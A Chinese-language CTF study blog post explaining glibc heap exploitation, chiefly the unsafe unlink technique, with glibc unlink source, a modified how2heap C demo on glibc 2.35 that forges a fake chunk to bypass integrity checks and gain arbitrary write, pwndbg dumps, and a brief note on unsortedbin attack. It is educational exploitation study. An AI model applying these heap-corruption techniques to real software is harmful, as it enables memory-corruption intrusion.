0x00

在打lilctf的一道堆题的时候意识到自己还没记录过关于unsafe unlinkunsortedbin attack,于是来记录一下

从双向链表取出chunk的过程即为unlink(在 glibc 源码中,unlink 是一个宏/函数,用来把一个双向链表中的 bin 链接节点(chunk)移除),如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");

if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}

什么时候会进行unlink呢?一是free 合并相邻空闲chunk时,需要把相邻块从bin中移除;malloc从 bin 中取出 chunk时,需要把该 chunk 从 bin 中移除。当然还有一些特殊情况时候也会进行unlink,不赘述
既然是unsafe unlink,我们看其检查机制

1
2
3
4
5
6
7
8
9
10
11
12
13
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

// largebin 中 next_size 双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV);

主要就是检查presizesize是否相同,以及要求FD->bk == P && BK->fd == P(也就是双向链表的完整性)
如果我们修改P->fdP->bk并且绕过上面的检查,也就可以进行一些“unsafe”的操作

1
2
fd->bk = bk;
bk->fd = fd;

也就是可以利用这里进行攻击
话不多说写个demo调试(使用how2heap的源码并进行了一些修改)就明白了(于glibc2.35)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

uint64_t chunk_list[8];

int main()
{
int malloc_size = 0x420;
int header_size = 2;

uint64_t *chunk0_ptr = (uint64_t*) malloc(malloc_size);
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size);
chunk_list[0] = (uint64_t) chunk0_ptr;
chunk_list[1] = (uint64_t) chunk1_ptr;

chunk0_ptr[2] = (uint64_t) chunk_list - (sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) chunk_list - (sizeof(uint64_t)*2);
chunk0_ptr[1] = 0x421;
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size;
chunk1_hdr[1] &= ~1;

free(chunk1_ptr);

char victim_str[8] = "victim";
char hacked[8] = "hacked";
*((uint64_t*)chunk_list[0]+3) = (uint64_t) victim_str;
printf("------- original vaule of victim_str is -------\n%s\n", victim_str);
strcpy((char*)chunk_list[0], hacked);
printf("------- new vaule of victim_str is -------\n%s\n", victim_str);
}

很多时候都会使用一个全局的chunk_list来管理各个chunk,而这也给了unsafe unlink可乘之机,直接开始调试
进行到0x421那一行后,我们看堆布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x555555559290
Size: 0x430 (with flag bits: 0x431)

Allocated chunk | PREV_INUSE
Addr: 0x5555555596c0
Size: 0x430 (with flag bits: 0x431)

Top chunk | PREV_INUSE
Addr: 0x555555559af0
Size: 0x20510 (with flag bits: 0x20511)

pwndbg> x/30gx 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000431
0x5555555592a0: 0x0000000000000000 0x0000000000000421
0x5555555592b0: 0x0000555555558028 0x0000555555558030
0x5555555592c0: 0x0000000000000000 0x0000000000000000
0x5555555592d0: 0x0000000000000000 0x0000000000000000
0x5555555592e0: 0x0000000000000000 0x0000000000000000
0x5555555592f0: 0x0000000000000000 0x0000000000000000
0x555555559300: 0x0000000000000000 0x0000000000000000
0x555555559310: 0x0000000000000000 0x0000000000000000
0x555555559320: 0x0000000000000000 0x0000000000000000
0x555555559330: 0x0000000000000000 0x0000000000000000
0x555555559340: 0x0000000000000000 0x0000000000000000
0x555555559350: 0x0000000000000000 0x0000000000000000
0x555555559360: 0x0000000000000000 0x0000000000000000
0x555555559370: 0x0000000000000000 0x0000000000000000
pwndbg> p &chunk_list
$2 = (uint64_t (*)[8]) 0x555555558040 <chunk_list>

可以看到我们在chunk0内部造了一个fakechunk,size为0x420
我们将fakechunk->fd设置为chunk_list-0x18,将fakechunk->bk设置为chunk_list-0x10,这样一来,检查FD->bk == P && BK->fd == P也就通过了,因为

1
(chunk_list-0x18)->bk == chunk_list-0x18+0x18 == chunk_list == (chunk_list-0x10)->fd == chunk_list-0x10+0x10

chunk_list[0]索引的正是这里的P
然后我们还需要修改后续chunk1的presize,因为是通过其presize来定位前一个chunk的堆头的,然后还要设置其previous_in_use位为false,以便于让fakechunk看起来是一个free的chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/30gx 0x5555555596c0
0x5555555596c0: 0x0000000000000420 0x0000000000000430
0x5555555596d0: 0x0000000000000000 0x0000000000000000
0x5555555596e0: 0x0000000000000000 0x0000000000000000
0x5555555596f0: 0x0000000000000000 0x0000000000000000
0x555555559700: 0x0000000000000000 0x0000000000000000
0x555555559710: 0x0000000000000000 0x0000000000000000
0x555555559720: 0x0000000000000000 0x0000000000000000
0x555555559730: 0x0000000000000000 0x0000000000000000
0x555555559740: 0x0000000000000000 0x0000000000000000
0x555555559750: 0x0000000000000000 0x0000000000000000
0x555555559760: 0x0000000000000000 0x0000000000000000
0x555555559770: 0x0000000000000000 0x0000000000000000
0x555555559780: 0x0000000000000000 0x0000000000000000
0x555555559790: 0x0000000000000000 0x0000000000000000
0x5555555597a0: 0x0000000000000000 0x0000000000000000

这样一来便绕过了size vs. prev_size的检查(前面已经设置fakechunk的size(with flag bits)为0x421),这时候只需free掉chunk1,就会触发unlink

1
2
fd->bk = bk;
bk->fd = fd;

我们看实际效果

1
2
pwndbg> x/2gx chunk_list
0x555555558040 <chunk_list>: 0x0000555555558028 0x00005555555596d0

可以看到chunk_list[0]被写入了chunk_list-0x18,这时候我们其实就可以利用这个全局chunk_list来进行任意地址写了
看demo中的简单利用

1
2
3
4
5
6
char victim_str[8] = "victim";
char hacked[8] = "hacked";
*((uint64_t*)chunk_list[0]+3) = (uint64_t) victim_str;
printf("------- original vaule of victim_str is -------\n%s\n", victim_str);
strcpy((char*)chunk_list[0], hacked);
printf("------- new vaule of victim_str is -------\n%s\n", victim_str);

*((uint64_t*)chunk_list[0]+3)其实就是((uint64_t*)chunk_list[0])[3],这里也就是向chunk_list-0x18+0x18也就是chunk_list[0]写入一个地址,后续使用chunk_list[0]来进行写入的时候,也就实现了任意地址写
看最后demo运行效果

1
2
3
4
5
6
pwndbg> c
Continuing.
------- original vaule of victim_str is -------
victim
------- new vaule of victim_str is -------
hacked

0x02 关于unsortedbin attack

稍微回顾一下, unsorted bin也是以双向链表的方式进行组织的,和fastbin不同的是其分配方式是FIFO,即一个chunk放入unsorted bin链时将该堆块插入链表头,而从这个链取堆块的时候是从尾部开始的,因此unsorted bin遍历堆块的时候使用的是bk指针
unsortedbin attack其实也是利用unlink操作,我们看

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

这里换而言之,如果我们控制了 bk 的值,我们就能将 unsorted_chunks (av) 写到任意地址
这个unsorted_chunks (av)的值,其实是main_arena的某个偏移处,可以修改global_max_fast,或者向题目存在的chunk_list写入main_arena地址
然而在高版本加入双向链表完整性检查机制后,这基本已经被宣判了死刑,关于unsortedbin使用的更多的一般是unsortedbin leak了,所以不再赘述